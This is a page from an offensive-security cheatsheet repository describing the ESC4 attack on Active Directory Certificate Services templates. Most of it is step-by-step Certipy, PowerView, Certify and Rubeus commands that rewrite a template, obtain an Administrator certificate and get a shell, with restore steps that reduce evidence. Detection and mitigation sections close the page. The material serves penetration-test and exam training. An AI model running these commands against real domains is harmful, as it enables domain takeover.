daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

esc4-vulnerable-certificate-template-access-control.md (16237B)


      1 ---
      2 title: "ESC4 — Vulnerable Certificate Template Access Control"
      3 description: "ESC4 is a permission-level attack, not a template configuration attack. Every ESC attack up to this point (ESC1–3) abused what a template was configured…"
      4 category: active-directory
      5 subcategory: "ADCS & Certificates"
      6 tags: ["active-directory", "adcs", "privilege-escalation"]
      7 tools: ["Rubeus", "Certipy", "BloodHound", "Evil-WinRM", "OpenSSL"]
      8 difficulty: advanced
      9 updated: "2026-08-10"
     10 source: "vault:ActiveDirectory/ACL-ESC-Techniques/ESC4 — Vulnerable Certificate Template Access Control.md"
     11 ---
     12 # ESC4 — Vulnerable Certificate Template Access Control
     13 
     14 ## Quick Reference
     15 
     16 | Field | Value |
     17 |-------|-------|
     18 | **Category** | Certificate Template Permission Abuse |
     19 | **Difficulty** | Medium |
     20 | **Pre-requisites** | Write/Owner ACE on a certificate template object |
     21 | **Tools** | Certipy, Certify.exe, PowerView, BloodyAD |
     22 | **OPSEC Noise** | High — modifying AD template objects generates 5136 events |
     23 | **One-liner** | Abuse write permissions on a template to add `ENROLLEE_SUPPLIES_SUBJECT` flag and Client Auth EKU, turning it into an ESC1-vulnerable template. |
     24 
     25 ***
     26 
     27 ## What Is ESC4?
     28 
     29 ESC4 is a **permission-level attack, not a template configuration attack**. Every ESC attack up to this point (ESC1–3) abused *what a template was configured to do*. ESC4 is different — it abuses *who has the right to change a template*. When a low-privileged user holds certain write-level permissions over a certificate template AD object, they can **rewrite the template's configuration** to introduce ESC1 vulnerabilities that didn't previously exist, exploit the newly misconfigured template, then optionally restore the original config to cover their tracks.
     30 
     31 Certificate templates are just AD objects stored in `CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration`. Like any AD object, they have a DACL. When that DACL is loose, the template becomes a weapon you forge yourself.
     32 
     33 ***
     34 
     35 ## The Dangerous ACEs — What You Need on the Template
     36 
     37 Any **one** of these permissions on a certificate template object is enough to execute ESC4:
     38 
     39 | ACE / Right | What It Lets You Do |
     40 |-------------|---------------------|
     41 | **Owner** | Full control over the object — can modify the DACL, grant yourself anything |
     42 | **WriteOwner** | Take ownership of the template object, then gain full control |
     43 | **WriteDACL** | Modify the DACL directly — grant yourself `WriteProperty` or `GenericAll` |
     44 | **WriteProperty** | Directly modify any attribute on the template — this is the most direct path |
     45 | **GenericWrite** | Covers all `WriteProperty` rights |
     46 | **GenericAll** / **FullControl** | Unrestricted access — modify anything |
     47 
     48 The attack chain is always: **Use your write permission → Mutate template to ESC1 → Request cert as Administrator → Authenticate**.
     49 
     50 ***
     51 
     52 ## Step 0 — Enumeration
     53 
     54 ```bash
     55 # Standard scan
     56 certipy-ad find -u 'lowpriv@domain.htb' -p 'Password123!' \
     57   -dc-ip $TARGET -vulnerable -stdout
     58 
     59 # With hash
     60 certipy-ad find -u 'lowpriv@domain.htb' -hashes :NTHASH \
     61   -dc-ip $TARGET -vulnerable -stdout
     62 
     63 # Grep for ESC4 if output saved to file
     64 cat certipy_output.txt | grep "ESC4"
     65 ```
     66 
     67 ### What Vulnerable ESC4 Output Looks Like
     68 
     69 ```
     70 Template Name                       : VulnTemplate
     71 Enabled                             : True
     72 Client Authentication               : False      ← Not yet exploitable directly
     73 Enrollee Supplies Subject           : False      ← Not yet vulnerable to ESC1
     74 Requires Manager Approval           : True       ← Locked down... for now
     75 Extended Key Usage                  : Encrypting File System
     76 
     77 Permissions
     78   Enrollment Permissions
     79     Enrollment Rights     : DOMAIN\Domain Users
     80   Object Control Permissions
     81     Owner                 : DOMAIN\Administrator
     82     Write Owner Principals: DOMAIN\Domain Users   ← ⚠️ DANGEROUS
     83     Write Dacl Principals : DOMAIN\Domain Users   ← ⚠️ DANGEROUS
     84     Write Property Principals: DOMAIN\Domain Users ← ⚠️ DANGEROUS
     85     Full Control Principals: DOMAIN\lowpriv       ← ⚠️ DANGEROUS
     86 
     87 [!] Vulnerabilities
     88   ESC4 : 'DOMAIN\Domain Users' has dangerous permissions
     89 ```
     90 
     91 > 💡 Certipy may also flag this via BloodHound edges. In BloodHound, look for edges like `GenericWrite`, `WriteDACL`, `WriteOwner`, or `GenericAll` from a low-priv principal to a certificate template node.
     92 
     93 ***
     94 
     95 ## The Core Technique — Template Mutation via `certipy template`
     96 
     97 Certipy has a dedicated `template` subcommand that automates the template mutation for you. It:
     98 1. **Saves** the original template config to a JSON backup file
     99 2. **Overwrites** the template with ESC1-vulnerable settings
    100 3. Lets you **restore** the original config after exploitation
    101 
    102 ***
    103 
    104 ## Full Attack Chain — Linux (Certipy)
    105 
    106 ### Step 1 — Save the original template config (IMPORTANT — do this first)
    107 
    108 ```bash
    109 certipy-ad template \
    110   -u 'lowpriv@domain.htb' \
    111   -p 'Password123!' \
    112   -dc-ip $TARGET \
    113   -template 'VulnTemplateName' \
    114   -save-old
    115 
    116 # Output: VulnTemplateName.json  ← Keep this safe for restoration
    117 ```
    118 
    119 > ⚠️ **Always back up the original config.** On a real engagement or exam, modifying a live template without restoring it is noisy and could break legitimate business processes. On HTB it matters less, but build the habit now.
    120 
    121 ***
    122 
    123 ### Step 2 — Mutate the template to be ESC1-vulnerable
    124 
    125 ```bash
    126 certipy-ad template \
    127   -u 'lowpriv@domain.htb' \
    128   -p 'Password123!' \
    129   -dc-ip $TARGET \
    130   -template 'VulnTemplateName'
    131 ```
    132 
    133 **What Certipy does under the hood**:
    134 - Sets `msPKI-Certificate-Name-Flag` → `ENROLLEE_SUPPLIES_SUBJECT` (0x1)
    135 - Sets `msPKI-EnrollmentFlag` → removes `PEND_ALL_REQUESTS` (0x2)
    136 - Sets `mspki-ra-signature` → `0`
    137 - Sets `pKIExtendedKeyUsage` → `1.3.6.1.5.5.7.3.2` (Client Authentication)
    138 - Sets `mspki-certificate-application-policy` → Client Authentication OID
    139 
    140 **Expected output:**
    141 ```
    142 [*] Updating certificate template 'VulnTemplateName'
    143 [*] Successfully updated 'VulnTemplateName'
    144 ```
    145 
    146 You can verify the mutation worked by re-running the find command:
    147 ```bash
    148 certipy-ad find -u 'lowpriv@domain.htb' -p 'Password123!' \
    149   -dc-ip $TARGET -vulnerable -stdout
    150 # The template should now also show ESC1 vulnerability
    151 ```
    152 
    153 ***
    154 
    155 ### Step 3 — Exploit the now-ESC1-vulnerable template
    156 
    157 ```bash
    158 certipy-ad req \
    159   -u 'lowpriv@domain.htb' \
    160   -p 'Password123!' \
    161   -dc-ip $TARGET \
    162   -ca 'DOMAIN-CA-NAME' \
    163   -template 'VulnTemplateName' \
    164   -upn 'administrator@domain.htb'
    165 
    166 # Output: administrator.pfx
    167 ```
    168 
    169 ***
    170 
    171 ### Step 4 — Authenticate
    172 
    173 ```bash
    174 certipy-ad auth \
    175   -pfx administrator.pfx \
    176   -username administrator \
    177   -domain domain.htb \
    178   -dc-ip $TARGET
    179 
    180 # Output: administrator.ccache + NT hash
    181 ```
    182 
    183 ***
    184 
    185 ### Step 5 — RESTORE the original template (critical)
    186 
    187 ```bash
    188 certipy-ad template \
    189   -u 'lowpriv@domain.htb' \
    190   -p 'Password123!' \
    191   -dc-ip $TARGET \
    192   -template 'VulnTemplateName' \
    193   -configuration VulnTemplateName.json
    194 
    195 # Output: [*] Successfully updated 'VulnTemplateName'
    196 ```
    197 
    198 > 💡 On a real engagement you restore this immediately after getting your cert. On HTB boxes, restore out of good habit — it also proves you understand clean-up, which is an OSCP/exam requirement.
    199 
    200 ***
    201 
    202 ### Step 6 — Get your shell
    203 
    204 ```bash
    205 # Kerberos TGT
    206 export KRB5CCNAME=administrator.ccache
    207 wmiexec.py -k -no-pass DC01.domain.htb
    208 evil-winrm -i DC01.domain.htb -r domain.htb
    209 
    210 # Pass-the-Hash
    211 evil-winrm -i $TARGET -u administrator -H <NTHASH>
    212 psexec.py administrator@$TARGET -hashes :NTHASH
    213 ```
    214 
    215 ***
    216 
    217 ## Full Attack Chain — Windows (PowerView + Certify.exe + Rubeus)
    218 
    219 On Windows, you manually mutate the template attributes using **PowerView** before using Certify:
    220 
    221 ```powershell
    222 Import-Module .\PowerView.ps1
    223 
    224 # ── Step 1: Grant enrollment rights to Domain Users ─────────────────────────
    225 Add-DomainObjectAcl -TargetIdentity 'VulnTemplate' `
    226   -PrincipalIdentity 'Domain Users' `
    227   -RightsGUID '0e10c968-78fb-11d2-90d4-00c04f79dc55' `
    228   -TargetSearchBase "LDAP://CN=Configuration,DC=domain,DC=local" -Verbose
    229 
    230 # ── Step 2: Disable Manager Approval (set EnrollmentFlag to 9) ──────────────
    231 Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local" `
    232   -Identity 'VulnTemplate' -Set @{'mspki-enrollment-flag'=9} -Verbose
    233 
    234 # ── Step 3: Disable Authorized Signature Requirement ────────────────────────
    235 Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local" `
    236   -Identity 'VulnTemplate' -Set @{'mspki-ra-signature'=0} -Verbose
    237 
    238 # ── Step 4: Enable SAN Specification (ENROLLEE_SUPPLIES_SUBJECT = 1) ─────────
    239 Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local" `
    240   -Identity 'VulnTemplate' -Set @{'mspki-certificate-name-flag'=1} -Verbose
    241 
    242 # ── Step 5: Set Client Authentication EKU ───────────────────────────────────
    243 Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local" `
    244   -Identity 'VulnTemplate' -Set @{'pkiextendedkeyusage'='1.3.6.1.5.5.7.3.2'} -Verbose
    245 
    246 Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local" `
    247   -Identity 'VulnTemplate' -Set @{'mspki-certificate-application-policy'='1.3.6.1.5.5.7.3.2'} -Verbose
    248 
    249 # ── Step 6: Request cert with injected SAN ───────────────────────────────────
    250 .\Certify.exe request /ca:DC01.domain.local\DOMAIN-CA /template:VulnTemplate /altname:administrator
    251 openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
    252 
    253 # ── Step 7: Get TGT + NT Hash ────────────────────────────────────────────────
    254 .\Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /getcredentials /nowrap
    255 ```
    256 
    257 ***
    258 
    259 ## ESC4 Visual Attack Flow
    260 
    261 ```
    262 [lowpriv has WriteProperty over VulnTemplate]
    263               │
    264               │  certipy template -template VulnTemplate
    265               ▼
    266 [Template mutated → ESC1 flags written]
    267   mspki-certificate-name-flag    = ENROLLEE_SUPPLIES_SUBJECT
    268   mspki-enrollment-flag          = no PEND_ALL_REQUESTS
    269   pKIExtendedKeyUsage            = Client Authentication
    270               │
    271               │  certipy req -template VulnTemplate -upn administrator@domain.htb
    272               ▼
    273 [administrator.pfx issued]
    274               │
    275               │  certipy auth -pfx administrator.pfx
    276               ▼
    277 [TGT + NT Hash for Administrator]
    278               │
    279               │  certipy template -configuration VulnTemplate.json  ← RESTORE
    280               ▼
    281 [Template restored — evidence minimised]
    282 ```
    283 
    284 ***
    285 
    286 ## Common Errors and Fixes
    287 
    288 | Error | Cause | Fix |
    289 |-------|-------|-----|
    290 | `Access Denied` on template mutation | You have `WriteOwner` but not yet `WriteProperty` — need to take ownership first | Use `Set-DomainObjectOwner -Identity VulnTemplate -OwnerIdentity lowpriv` first, then give yourself `GenericAll` |
    291 | `Successfully updated` but template doesn't show ESC1 | AD replication delay | Wait 30–60 seconds, re-enumerate |
    292 | `Certificate has no object SID` | Expected behaviour post-mutation | Proceed — auth will still work |
    293 | `KDC_ERR_PADATA_TYPE_NOSUPP` on auth | PKINIT not supported on that DC | Try specifying another DC with `-dc-ip` |
    294 
    295 ***
    296 
    297 ## ESC4 vs ESC1–3 Comparison
    298 
    299 | | ESC1 | ESC2 | ESC3 | ESC4 |
    300 |---|---|---|---|---|
    301 | **Attack type** | Template config abuse | Template config abuse | Template config abuse | **Template permission abuse** |
    302 | **What you abuse** | SAN flag | Any Purpose EKU | CRA EKU | Write ACE on template object |
    303 | **Pre-existing vuln** | ✅ Template already misconfigured | ✅ Already misconfigured | ✅ Already misconfigured | ❌ **You create the misconfiguration** |
    304 | **Restoration needed** | ❌ | ❌ | ❌ | ✅ Strongly recommended |
    305 | **BloodHound visible** | Via `Enrollment Rights` | Via `Enrollment Rights` | Via `Enrollment Rights` | ✅ **Via ACE edges on template node** |
    306 | **Certipy command** | `req -upn` | `req -upn` | `req -on-behalf-of` | **`template` → `req -upn` → `template restore`** |
    307 
    308 ***
    309 
    310 ## Detection Indicators
    311 
    312 - **Event ID 4899** — A certificate template was changed
    313 - Look for rapid sequences of: **4899 (template changed)** → **4886 (cert requested)** → **4887 (cert issued)** → **4899 (template changed back)** — the classic ESC4 pattern
    314 - Monitor AD attribute changes on `pKICertificateTemplate` objects — specifically `msPKI-Certificate-Name-Flag`, `pKIExtendedKeyUsage`, `msPKI-Enrollment-Flag`
    315 - Alert on any non-admin principal modifying certificate template AD objects
    316 
    317 ***
    318 
    319 ## Mitigation
    320 
    321 - **Audit template DACLs regularly** — `Domain Users`, `Authenticated Users`, or any non-admin group should never have `WriteProperty`, `WriteDACL`, `WriteOwner`, or `GenericAll` on a template object
    322 - **Use the principle of least privilege** — only PKI admins should have write rights over templates
    323 - **Monitor with BloodHound** — run BloodHound regularly and check for edges to certificate template nodes from low-priv principals
    324 - **Enable AD auditing** on the `CN=Certificate Templates` container — changes should fire **Event ID 4899** which is auditable
    325 
    326 ***
    327 
    328 Sources
    329  AD CS 102: How to Detect and Mitigate ESC4 Attacks on… | BeyondTrust https://www.beyondtrust.com/blog/entry/esc4-attacks
    330  AD CS Security: Understanding and Exploiting ESC Techniques https://www.vaadata.com/blog/ad-cs-security-understanding-and-exploiting-esc-techniques/
    331  Detecting ADCS Privilege Escalation: How Misconfigured ... https://hawk-eye.io/2025/09/detecting-adcs-privilege-escalation-how-misconfigured-certificates-expose-active-directory/
    332  How one misconfiguration in ADCS can lead to full AD Forest compromise https://m365internals.com/2022/11/07/how-one-misconfiguration-in-adcs-can-lead-to-full-ad-forest-compromise/
    333  Active Directory Certificate Services (ADCS – ESC4) - RBT Security https://www.rbtsec.com/blog/active-directory-certificate-services-adcs-esc4/
    334  An Expert Guide to Fortifying Active Directory Certificate ... https://www.nccgroup.com/research-blog/defending-your-directory-an-expert-guide-to-fortifying-active-directory-certificate-services-adcs-against-exploitation/
    335  ADCS ESC4: Vulnerable Certificate Template Access Control https://www.hackingarticles.in/adcs-esc4-vulnerable-certificate-template-access-control/
    336  redblock_team-11.-ADCS-Attacks.pdf https://ppl-ai-file-upload.s3.amazonaws.com/web/direct-files/attachments/14624338/ba26726a-dc39-49bb-a7f4-de582faee79b/redblock_team-11.-ADCS-Attacks.pdf
    337  Common ADCS Vulnerabilities: Logging, Exploitation ... - Lares Labs https://labs.lares.com/adcs-exploits-investigations-pt2/
    338  ADCS ESC4: Vulnerable Certificate Template Access Control https://www.facebook.com/cybersna/posts/a-critical-adcs-esc4-vulnerability-allows-attackers-with-control-permissions-to-/1002681098728664/
    339  ESC4 - Access Control Vulnerabilities | B00t2R00t - GitBook https://h3ll-ka1ser.gitbook.io/boot2root/active-directory-penetration-testing/active-directory-certificate-services-adcs/mindmaps/access-control-vulnerabilities-esc4
    340  Penetration Test Client Version 10 released 26 February 2023 Page ... https://www.coursehero.com/file/p7rd5udu/Penetration-Test-Client-Version-10-released-26-February-2023-Page-19-Figure-8/
    341  ADCS ESC4: Certificate Authentication Failure Fix - LinkedIn https://www.linkedin.com/posts/osher-jacobs_activedirectory-certificateservices-adcs-activity-7421147456517611520-S8KP
    342  Active Directory Certificate Services (AD CS) Exploitation - VOIDREAD https://voidread.pages.dev/posts/ad-cs-abuses/
    343  The Shocking Truth About ADCS Templates Nobody Tells You [ESC4] https://www.youtube.com/watch?v=pgA0zP2n0Ok